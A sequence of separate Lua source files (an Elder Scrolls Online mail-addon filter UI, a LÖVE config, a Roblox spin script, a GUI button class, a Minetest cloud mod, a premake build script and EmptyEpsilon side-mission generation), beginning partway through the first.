'clothing', 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local enchantingButton= { descriptor = "enchanting", tooltip = SI_MAILLOOTER_FILTER_HIRELING_ENCHANT, normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'enchanting', 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local provisioningButton= { descriptor = "provisioning", tooltip = SI_MAILLOOTER_FILTER_HIRELING_PROVISION, normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'provisioning', 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local woodworkingButton= { descriptor = "woodworking", tooltip = SI_MAILLOOTER_FILTER_HIRELING_WOOD, normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'woodworking', 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local hirelingButton = { descriptor = "hireling", tooltip = SI_MAILLOOTER_FILTER_HIRELING, normal = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_HIRELING, 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, sub = { blacksmithButton, clothingButton, enchantingButton, provisioningButton, woodworkingButton, } } local storeButton = { descriptor = "store", tooltip = SI_MAILLOOTER_FILTER_STORE, normal = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_STORE, 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local codButton = { descriptor = "cod", tooltip = SI_MAILLOOTER_FILTER_COD, normal = UI.GetIcon(ADDON.Core.MAILTYPE_COD), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_COD, 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_COD, 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_COD, 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local returnedButton = { descriptor = "returned", tooltip = SI_MAILLOOTER_FILTER_RETURNED, normal = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_RETURNED, 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local simpleButton = { descriptor = "simple", tooltip = SI_MAILLOOTER_FILTER_SIMPLE, normal = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_SIMPLE, 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local codReceiptButton = { descriptor = "codReceipt", tooltip = SI_MAILLOOTER_FILTER_COD_RECEIPT, normal = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'normal'), pressed = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'pressed'), disabled = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'disabled'), highlight = UI.GetIcon(ADDON.Core.MAILTYPE_COD_RECEIPT, 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, } local allButton = { descriptor = "all", tooltip = SI_MAILLOOTER_FILTER_ALL, normal = UI.GetIcon('all', 'normal'), pressed = UI.GetIcon('all', 'pressed'), disabled = UI.GetIcon('all', 'disabled'), highlight = UI.GetIcon('all', 'highlight'), callback = function(button) end, onInitializeCallback = function(button) end, sub = { avaButton, hirelingButton, storeButton, codButton, returnedButton, simpleButton, codReceiptButton } } Lodur_MultiSelectBar_AddButtons(filterBar, allButton) Lodur_MultiSelectBar_SetOnChanged( filterBar, function() self:UpdateFilterLabel() end) self.filterBar = filterBar local label = CreateControl( "MailLooterFitlerLabel", self.win, CT_LABEL) label:SetFont("ZoFontWinH3") label:SetText("Filtering Coming Soon:") label:SetHeight(label:GetFontHeight()) label:SetAnchor(RIGHT, filterBar, LEFT, -20, 0) self.label = label local div = WINDOW_MANAGER:CreateControl( nil, self.win, CT_TEXTURE) div:SetTexture("EsoUI/Art/Miscellaneous/centerscreen_topDivider.dds") div:SetHeight(2) div:SetWidth(900) div:SetAnchor(TOP, self.win, TOP, 0, 54) Lodur_MultiSelectBar_SelectDescriptor(filterBar, 'all', true) self.FRAGMENT = ZO_FadeSceneFragment:New(self.win) end local filterTerms = { ['all'] = SI_MAILLOOTER_FILTER_LABEL_ALL, ['ava'] = SI_MAILLOOTER_FILTER_LABEL_AVA, ['hireling'] = SI_MAILLOOTER_FILTER_LABEL_HIRELING, ['smith'] = SI_MAILLOOTER_FILTER_LABEL_SMITH, ['clothing'] = SI_MAILLOOTER_FILTER_LABEL_CLOTH, ['enchanting'] = SI_MAILLOOTER_FILTER_LABEL_ENCHANT, ['provisioning'] = SI_MAILLOOTER_FILTER_LABEL_PROVISION, ['woodworking'] = SI_MAILLOOTER_FILTER_LABEL_WOOD, ['store'] = SI_MAILLOOTER_FILTER_LABEL_STORE, ['cod'] = SI_MAILLOOTER_FILTER_LABEL_COD, ['returned'] = SI_MAILLOOTER_FILTER_LABEL_RETURNED, ['simple'] = SI_MAILLOOTER_FILTER_LABEL_SIMPLE, ['codReceipt'] = SI_MAILLOOTER_FILTER_LABEL_COD_RECEIPT, } function UI.FilterFragmentClass:UpdateFilterLabel(control) UI.DEBUG("UpdateFilterLabel") local selections = Lodur_MultiSelectBar_GetSelected(self.filterBar) local selected = selections.selected local unselected = selections.unselected local font = "ZoFontWinH3" local msg if #selected == 0 then msg = GetString(SI_MAILLOOTER_FILTER_LABEL_NOTHING) elseif #selected == 1 then msg = GetString(filterTerms[selected[1]]) elseif #selected == 2 then -- TODO: Need a translate method for '&' font = "ZoFontWinH5" msg = GetString(filterTerms[selected[1]]) .. " & " .. GetString(filterTerms[selected[2]]) elseif #unselected == 1 then msg = "|cFF0000NO|r " .. GetString(filterTerms[unselected[1]]) elseif #unselected == 2 then font = "ZoFontWinH5" -- TODO: Need a translate method for '&' msg = "|cFF0000NO|r " .. GetString(filterTerms[unselected[1]]) .. " & " .. GetString(filterTerms[unselected[2]]) else msg = GetString(SI_MAILLOOTER_FILTER_LABEL_COMPLEX) end self.label:SetFont(font) self.label:SetText(msg) end function UI.FilterFragmentClass:SetLocked(locked) Lodur_MultiSelectBar_SetLocked(self.filterBar, locked) end function UI.FilterFragmentClass:SetFilter(filter, skipAnimation) UI.DEBUG("FilterFragmentClass:SetFilter:") Lodur_MultiSelectBar_ClearSelection(self.filterBar) for i,k in ipairs(filter) do UI.DEBUG(" " .. k) if not Lodur_MultiSelectBar_SelectDescriptor(self.filterBar, k, skipAnimation) then UI.DEBUG("SelectDescriptor failed") end end end function UI.FilterFragmentClass:GetFilter() return Lodur_MultiSelectBar_GetSelected(self.filterBar) end function UI.FilterFragmentClass:SetEnabled(descriptor, enabled) UI.DEBUG("Filter:SetEnabled d='" .. descriptor .. "' e=" .. tostring(enabled)) Lodur_MultiSelectBar_SetEnabled(self.filterBar, descriptor, enabled, true) end
function love.conf(t) t.console = true t.version = "0.10.1" t.language = "en" love._conf = t end
o = game.Players.ScriptTyper.Character o.Torso.Anchored = true for i = 0, 500, 1 do o.Torso.CFrame = o.Torso.CFrame * CFrame.Angles(math.rad(0*i), math.rad(10*i), math.rad(0*i)) wait() end o.Torso.Anchored = false
--[[ node/gui/button.lua Copyright (c) 2017 Szymon "pi_pi3" Walter This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. ]] local element = require('lib4/node/gui/element') local button = {} local mt = {__index = button} function button.new(opts, children) local self = element.new(opts, children) setmetatable(self, mt) self.t = 'gui/button' opts = opts or {} self.text = opts.text self.downcolor = opts.downcolor or {127, 127, 127} self.textcolor = opts.textcolor or self.framecolor return self end function button:draw() if self.down then love.graphics.setColor(self.downcolor) else love.graphics.setColor(self.color) end love.graphics.rectangle('fill', 0, 0, self.width, self.height) love.graphics.setColor(self.framecolor) love.graphics.setLineStyle('smooth') love.graphics.setLineWidth(self.line_width) love.graphics.rectangle('line', 0, 0, self.width, self.height) if self.text then love.graphics.printf(self.text, 0, 0, self.width, self.align) end end setmetatable(button, { __index = element, __call = function(_, ...) return button.new(...) end }) return button
lib_clouds = {} -- internationalization boilerplate local MP = minetest.get_modpath(minetest.get_current_modname()) local S, NS = dofile(MP.."/intllib.lua") local water_level = tonumber(minetest.get_mapgen_setting("water_level")) or 1 local enable = minetest.setting_getbool("lib_clouds_enable") or true local regeneration = minetest.setting_getbool("lib_clouds_regeneration") or false local cirrus_miny = minetest.setting_get("lib_clouds_cirrus_miny") or 150 local cirrus_maxy = minetest.setting_get("lib_clouds_cirrus_maxy") or 200 local cumulus_miny = minetest.setting_get("lib_clouds_cumulus_miny") or 120 local cumulus_maxy = minetest.setting_get("lib_clouds_cumulus_maxy") or 150 local fog_miny = minetest.setting_get("lib_clouds_fog_miny") or water_level local fog_maxy = minetest.setting_get("lib_clouds_fog_maxy") or 25 if enable == true then minetest.register_node('lib_clouds:cloud_cirrus', { description = S("Cirrus Cloud"), _doc_items_longdesc = S("Cirrus Clouds"), _doc_items_usagehelp = S("Generates puffy clouds in air between 150m and 200m."), drawtype = "glasslike", tiles = {"lib_clouds_cloud.png"}, --use_texture_alpha = false, paramtype = "light", post_effect_color = { r=128, g=128, b=128, a=128 }, is_ground_content = false, sunlight_propagates = false, walkable = false, pointable = false, diggable = false, climbable = false, buildable_to = false, floodable = false, -- If true, liquids flow into and replace this node groups = {lib_clouds = 1}, --node lifespan on_construct = function(pos) minetest.get_node_timer(pos):start(300) end, on_timer = function(pos, elapsed) minetest.set_node(pos, {name = "air"}) end, }) minetest.register_node('lib_clouds:cloud_cumulus', { description = S("Cumulus Cloud"), _doc_items_longdesc = S("Cumulus Clouds"), _doc_items_usagehelp = S("Generates large flat clouds in air between 120 and 150m."), drawtype = "glasslike", tiles = {"lib_clouds_cloud.png"}, use_texture_alpha = true, paramtype = "light", post_effect_color = { r=128, g=128, b=128, a=128 }, is_ground_content = false, sunlight_propagates = false, walkable = false, pointable = false, diggable = false, climbable = false, buildable_to = false, groups = {lib_clouds = 1}, --node lifespan on_construct = function(pos) minetest.get_node_timer(pos):start(300) end, on_timer = function(pos, elapsed) minetest.set_node(pos, {name = "air"}) end, }) minetest.register_node('lib_clouds:cloud_fog', { description = S("Fog"), _doc_items_longdesc = S("Foggy Clouds"), _doc_items_usagehelp = S("Generates fog in air between water_level or 1 and 25m."), drawtype = "glasslike", tiles = {"lib_clouds_cloud.png"}, use_texture_alpha = true, paramtype = "light", light_source = 8, post_effect_color = { r=128, g=128, b=128, a=128 }, is_ground_content = false, sunlight_propagates = true, walkable = false, pointable = false, diggable = false, climbable = false, buildable_to = false, groups = {lib_clouds = 1}, --node lifespan on_construct = function(pos) minetest.get_node_timer(pos):start(300) end, on_timer = function(pos, elapsed) minetest.set_node(pos, {name = "air"}) end, }) minetest.register_ore({ ore_type = "scatter", -- See "Ore types" ore = "lib_clouds:cloud_cirrus", wherein = "air", clust_scarcity = 8*8*8, clust_num_ores = 64, clust_size = 5, y_min = water_level + cirrus_miny, y_max = water_level + cirrus_maxy, flags = "", noise_threshold = 0.5, noise_params = {offset=0, scale=1, spread={x=100, y=100, z=100}, seed=23, octaves=3, persist=0.70}, -- ^ NoiseParams structure describing the perlin noise used for ore distribution. -- ^ Needed for sheet ore_type. Omit from scatter ore_type for a uniform ore distribution random_factor = 1.0, -- ^ Multiplier of the randomness contribution to the noise value at any -- given point to decide if ore should be placed. Set to 0 for solid veins. -- ^ This parameter is only valid for ore_type == "vein". --biomes = {"tundra", "desert"} -- ^ List of biomes in which this decoration occurs. Occurs in all biomes if this is omitted, -- ^ and ignored if the Mapgen being used does not support biomes. -- ^ Can be a list of (or a single) biome names, IDs, or definitions. }) minetest.register_ore({ ore_type = "puff", -- See "Ore types" ore = "lib_clouds:cloud_cumulus", wherein = "air", clust_scarcity = 8*8*8, clust_num_ores = 6, clust_size = 2, y_min = water_level + cumulus_miny, y_max = water_level + cumulus_maxy, flags = "", noise_threshold = 0.5, noise_params = {offset=0, scale=1, spread={x=100, y=100, z=100}, seed=23, octaves=3, persist=0.70}, -- ^ NoiseParams structure describing the perlin noise used for ore distribution. -- ^ Needed for sheet ore_type. Omit from scatter ore_type for a uniform ore distribution random_factor = 1.0, -- ^ Multiplier of the randomness contribution to the noise value at any -- given point to decide if ore should be placed. Set to 0 for solid veins. -- ^ This parameter is only valid for ore_type == "vein". --biomes = {"rainforest", "deciduous_forest_swamp", "rainforest_swamp", "deciduous_forest", "coniferous_forest", "stone_grassland"} -- ^ List of biomes in which this decoration occurs. Occurs in all biomes if this is omitted, -- ^ and ignored if the Mapgen being used does not support biomes. -- ^ Can be a list of (or a single) biome names, IDs, or definitions. }) minetest.register_ore({ ore_type = "puff", -- See "Ore types" ore = "lib_clouds:cloud_fog", wherein = "air", clust_scarcity = 8*8*8, clust_num_ores = 8, clust_size = 3, y_min = water_level + fog_miny, y_max = water_level + fog_maxy, flags = "", noise_threshold = 0.5, noise_params = {offset=0, scale=1, spread={x=100, y=100, z=100}, seed=23, octaves=3, persist=0.70}, -- ^ NoiseParams structure describing the perlin noise used for ore distribution. -- ^ Needed for sheet ore_type. Omit from scatter ore_type for a uniform ore distribution random_factor = 0.4, -- ^ Multiplier of the randomness contribution to the noise value at any -- given point to decide if ore should be placed. Set to 0 for solid veins. -- ^ This parameter is only valid for ore_type == "vein". --biomes = {"rainforest", "deciduous_forest_swamp", "rainforest_swamp" } -- ^ List of biomes in which this decoration occurs. Occurs in all biomes if this is omitted, -- ^ and ignored if the Mapgen being used does not support biomes. -- ^ Can be a list of (or a single) biome names, IDs, or definitions. }) if regeneration then minetest.register_abm{ nodenames = {"lib_clouds:cloud_cirrus"}, interval = 7.5, chance = 5, catch_up = false, action = function(pos) local radius = 4 local growthlimitgoo = 3 local airlimit = 15 --count goolim local num_goolim = {} local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cirrus"}) num_goolim = (cn["lib_clouds:cloud_cirrus"] or 0) --count air local num_gooair = {} local radius = 1 local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"}) num_gooair = (cn["air"] or 0) --Replicate randpos = {x = pos.x + math.random(-1,1), y = pos.y + math.random(-1,1), z = pos.z + math.random(-1,1)} if num_goolim < growthlimitgoo then --spread to air if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then minetest.set_node(randpos, {name = "lib_clouds:cloud_cirrus"}) end end end, } minetest.register_abm{ nodenames = {"lib_clouds:cloud_cirrus"}, interval = 6, chance = 12, catch_up = true, action = function(pos) local radius = 2 local growthlimitgoo = 8 local airlimit = 10 --count goolim local num_goolim = {} local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cirrus"}) num_goolim = (cn["lib_clouds:cloud_cirrus"] or 0) --count air local num_gooair = {} local radius = 1 local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"}) num_gooair = (cn["air"] or 0) -- for Replicate sideways randpos = {x = pos.x + math.random(-1,1), y = pos.y, z = pos.z + math.random(-1,1)} -- for check light level at destination local light_level_ranpos = {} local light_level_ranpos = ((minetest.get_node_light(randpos)) or 0) -- do if well lit if light_level_ranpos >=14 then if num_goolim < growthlimitgoo then --spread to air if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then minetest.set_node(randpos, {name = "lib_clouds:cloud_cirrus"}) end end end end, } minetest.register_abm({ nodenames = {"lib_clouds:cloud_cumulus"}, neighbors = {"air"}, interval = 15, chance = 10, catch_up = true, action = function(pos) local radius = 1 local growthlimitgoo = 3 local airlimit = 15 --count goolim local num_goolim = {} local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cumulus"}) num_goolim = (cn["lib_clouds:cloud_cumulus"] or 0) --count air local num_gooair = {} local radius = 1 local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"}) num_gooair = (cn["air"] or 0) --Replicate randpos = {x = pos.x + math.random(-1,1), y = pos.y + math.random(-1,1), z = pos.z + math.random(-1,1)} if num_goolim < growthlimitgoo then --spread to air if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then minetest.set_node(randpos, {name = "lib_clouds:cloud_cumulus"}) end end end, }) minetest.register_abm({ nodenames = {"lib_clouds:cloud_cumulus"}, neighbors = {"air"}, interval = 10, chance = 30, catch_up = true, action = function(pos) local radius = 2 local growthlimitgoo = 8 local airlimit = 10 --count goolim local num_goolim = {} local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_cumulus"}) num_goolim = (cn["lib_clouds:cloud_cumulus"] or 0) --count air local num_gooair = {} local radius = 1 local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"}) num_gooair = (cn["air"] or 0) -- for Replicate sideways randpos = {x = pos.x + math.random(-1,1), y = pos.y, z = pos.z + math.random(-1,1)} -- for check light level at destination local light_level_ranpos = {} local light_level_ranpos = ((minetest.get_node_light(randpos)) or 0) -- do if well lit if light_level_ranpos >=14 then if num_goolim < growthlimitgoo then --spread to air if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then minetest.set_node(randpos, {name = "lib_clouds:cloud_cumulus"}) end end end end, }) minetest.register_abm({ nodenames = {"lib_clouds:cloud_fog"}, neighbors = {"air"}, interval = 5, chance = 5, catch_up = true, action = function(pos) local radius = 1 local growthlimitgoo = 3 local airlimit = 15 --count goolim local num_goolim = {} local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_fog"}) num_goolim = (cn["lib_clouds:cloud_fog"] or 0) --count air local num_gooair = {} local radius = 1 local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"}) num_gooair = (cn["air"] or 0) --Replicate randpos = {x = pos.x + math.random(-1,1), y = pos.y + math.random(-1,1), z = pos.z + math.random(-1,1)} if num_goolim < growthlimitgoo then --spread to air if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then minetest.set_node(randpos, {name = "lib_clouds:cloud_fog"}) end end end, }) minetest.register_abm({ nodenames = {"lib_clouds:cloud_fog"}, neighbors = {"air"}, interval = 5, chance = 15, catch_up = true, action = function(pos) local radius = 2 local growthlimitgoo = 8 local airlimit = 10 --count goolim local num_goolim = {} local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"lib_clouds:cloud_fog"}) num_goolim = (cn["lib_clouds:cloud_fog"] or 0) --count air local num_gooair = {} local radius = 1 local ps, cn = minetest.find_nodes_in_area( {x = pos.x - radius, y = pos.y - radius, z = pos.z - radius}, {x = pos.x + radius, y = pos.y + radius, z = pos.z + radius}, {"air"}) num_gooair = (cn["air"] or 0) -- for Replicate sideways randpos = {x = pos.x + math.random(-1,1), y = pos.y, z = pos.z + math.random(-1,1)} -- for check light level at destination local light_level_ranpos = {} local light_level_ranpos = ((minetest.get_node_light(randpos)) or 0) -- do if well lit if light_level_ranpos >=14 then if num_goolim < growthlimitgoo then --spread to air if (num_gooair) > airlimit and minetest.get_node(randpos).name == "air" then minetest.set_node(randpos, {name = "lib_clouds:cloud_fog"}) end end end end, }) end end
project "Subtend" kind "ConsoleApp" language "C++" cppdialect "C++17" staticruntime "off" targetdir ("%{wks.location}/bin/" .. outputdir .. "/%{prj.name}") objdir ("%{wks.location}/bin-int/" .. outputdir .. "/%{prj.name}") debugdir ("%{cfg.targetdir}") pchheader "sbtpch.h" pchsource "src/sbtpch.cpp" files { "src/**.h", "src/**.cpp", } defines { "_CRT_SECURE_NO_WARNINGS", "GLFW_INCLUDE_NONE" } includedirs { "src", "vendor/spdlog/include", "%{IncludeDir.ImGui}", "%{IncludeDir.ImGuiBackends}", "%{IncludeDir.GLFW}", "%{IncludeDir.VulkanSDK}" } links { "ImGui", "%{Library.GLFW}", "%{Library.Vulkan}" } postbuildcommands { "{COPY} imgui.ini %{cfg.targetdir}" } --flags { "NoPCH" } filter "system:windows" systemversion "latest" defines { } filter "configurations:Debug" defines "SBT_DEBUG" runtime "Debug" symbols "on" links { } filter "configurations:Release" defines "SBT_RELEASE" kind "WindowedApp" runtime "Release" optimize "on" links { } filter "configurations:Dist" defines "SBT_DIST" kind "WindowedApp" runtime "Release" optimize "on" links { }
local f = string.format My = My or {} My.SideMissions = My.SideMissions or {} -- used to have fair payment for all missions that include moving from A to B My.SideMissions.paymentPerDistance = function(distanceTraveled) return (10 + distanceTraveled / 1500) * (math.random() * 0.4 + 0.8) end My.SideMissions.paymentPerEnemy = function() return math.random(60, 90) end My.EventHandler:register("onWorldCreation", function() local maxDistance = 60000 -- lets assign regions to all stations where violent side missions can take place local stations = My.World.stations for _, station in pairs(stations) do station.battlefields = {} end local battlefields = {} for _,nebula in pairs(My.World.nebulas) do if not nebula:hasUse() then table.insert(battlefields, nebula) end end for _, station in pairs(My.World.abandonedStations) do table.insert(battlefields, station) end for _, graveyard in pairs(My.World.shipGraveyards) do table.insert(battlefields, graveyard) end battlefields = Util.randomSort(battlefields) local max = Util.size(battlefields) for i=1, max, 1 do local station = stations[i%Util.size(stations) + 1] local closestBattlefield = nil local closestIdx = nil local closestDistance = nil for idx,bf in pairs(battlefields) do local d = distance(bf, station) if d < maxDistance and (closestDistance == nil or closestDistance > d) then closestDistance = d closestIdx = idx closestBattlefield = bf end end if closestBattlefield ~= nil then local name if isFunction(closestBattlefield.getCallSign) then name = closestBattlefield:getCallSign() elseif isFunction(closestBattlefield.getName) then name = closestBattlefield:getName() end closestBattlefield.isBattlefield = true if isFunction(closestBattlefield.setUse) then closestBattlefield:setUse("battlefield", station) end logDebug("Add battlefield " .. name .. " for station " .. station:getCallSign()) table.insert(station.battlefields, closestBattlefield) table.remove(battlefields, closestIdx) end end end, 900) -- find a location that is safe to spawn enemies local findSafeLocation = function(station) local minDistanceFromHarm = 10000 local sx, sy = station:getPosition() return My.World.Helper.tryMinDistance(function() local dx, dy = vectorFromAngle(math.random(0, 360), math.random(minDistanceFromHarm, 30000)) return sx + dx, sy + dy end, function(thing) return isEeMine(thing) or isEeShipTemplateBased(thing) or isEeWormHole(thing) or isEeBlackHole(thing) or isEeStation(thing) end, minDistanceFromHarm) end local getBattlefieldStationFor = function(station, player) local bfs = {} for i,bf in pairs(station.battlefields) do if isEeStation(bf) then bfs[bf] = bf end end for _,mission in pairs(station:getMissions()) do if mission.battlefield ~= nil then bfs[mission.battlefield] = nil end end for _,mission in pairs(player:getStartedMissions()) do if mission.battlefield ~= nil then bfs[mission.battlefield] = nil end end return Util.random(bfs) end local getBattlefieldNebulaFor = function(station, player) local bfs = {} for i,bf in pairs(station.battlefields) do if isFunction(bf.getRandomPosition) then bfs[bf] = bf end end for _,mission in pairs(station:getMissions()) do if mission.battlefield ~= nil then bfs[mission.battlefield] = nil end end for _,mission in pairs(player:getStartedMissions()) do if mission.battlefield ~= nil then bfs[mission.battlefield] = nil end end return Util.random(bfs) end local getBattlefieldGraveyardFor = function(station, player) local bfs = {} for i,bf in pairs(station.battlefields) do if isFunction(bf.spawnShip) then bfs[bf] = bf end end for _,mission in pairs(station:getMissions()) do if mission.battlefield ~= nil then bfs[mission.battlefield] = nil end end for _,mission in pairs(player:getStartedMissions()) do if mission.battlefield ~= nil then bfs[mission.battlefield] = nil end end return Util.random(bfs) end local numberOfCreatedTransportMissionsByIndex = {} local numberOfCreatedFightingMissionsByIndex = {} My = My or {} My.MissionGenerator = { randomTransportMission = function(from) local possibleDestinations = {} for _, station in pairs(My.World.stations) do if station:isValid() and from ~= station then possibleDestinations[station] = station end end local to = Util.random(possibleDestinations) if to == nil then return nil end local missionFactories = { function() return My.SideMissions.TransportProduct(from, to, My.World.player) end, function() return My.SideMissions.TransportHuman(from, to) end, function() return My.SideMissions.TransportThing(from, to, My.World.player) end, function() return My.SideMissions.Repair(from, to, My.World.player) end, function() local product = Util.random(from:getProductsBought()) return My.SideMissions.Buyer(from, product) end, function() return My.SideMissions.SecretCode(from, to) end, function() return My.SideMissions.GatherCrystals(from) end, function() return My.SideMissions.ScanAsteroids(from) end, } for i, missionFactory in ipairs(missionFactories) do missionFactories[i] = { idx = i, factory = missionFactory } end table.sort(missionFactories, function(a,b) return (numberOfCreatedTransportMissionsByIndex[a.idx] or 0) < (numberOfCreatedTransportMissionsByIndex[b.idx] or 0) end) for _,missionFactory in pairs(missionFactories) do local mission = missionFactory.factory() if mission ~= nil then numberOfCreatedTransportMissionsByIndex[missionFactory.idx] = (numberOfCreatedTransportMissionsByIndex[missionFactory.idx] or 0) + 1 Mission:withTags(mission, "transport", "side_mission") return mission end end return nil end, randomFightingMission = function(from) local missionFactories = { function() local nebula = getBattlefieldNebulaFor(from, My.World.player) if nebula == nil then return nil end local x,y = nebula:getRandomPosition() local mission = My.SideMissions.PirateBase(from, x, y, My.World.player) mission.battlefield = nebula return mission end, function() local station = getBattlefieldStationFor(from, My.World.player) if station == nil then return nil end local x,y = station:getPosition() local mission = My.SideMissions.Capture(from, x, y, My.World.player) mission.battlefield = station return mission end, function() if not from:hasTag("mining") then return nil end local x, y = findSafeLocation(from) return My.SideMissions.RagingMiner(from, x, y, My.World.player) end, function() local x, y local nebula if math.random(0, 1) == 0 then nebula = getBattlefieldNebulaFor(from, My.World.player) end if nebula == nil then x, y = findSafeLocation(from) else x,y = nebula:getRandomPosition() end local mission = My.SideMissions.DisableShip(from, x, y, My.World.player) if nebula ~= nil then mission.battlefield = nebula end return mission end, function() local graveyard = getBattlefieldGraveyardFor(from, My.World.player) if graveyard == nil then return nil end local mission = My.SideMissions.DestroyGraveyard(from, graveyard, My.World.player) mission.battlefield = graveyard return mission end, } for i, missionFactory in ipairs(missionFactories) do missionFactories[i] = { idx = i, factory = missionFactory } end table.sort(missionFactories, function(a,b) return (numberOfCreatedFightingMissionsByIndex[a.idx] or 0) < (numberOfCreatedFightingMissionsByIndex[b.idx] or 0) end) for _,missionFactory in pairs(missionFactories) do local mission = missionFactory.factory() if mission ~= nil then numberOfCreatedFightingMissionsByIndex[missionFactory.idx] = (numberOfCreatedFightingMissionsByIndex[missionFactory.idx] or 0) + 1 Mission:withTags(mission, "fighting", "side_mission") return mission end end end, }
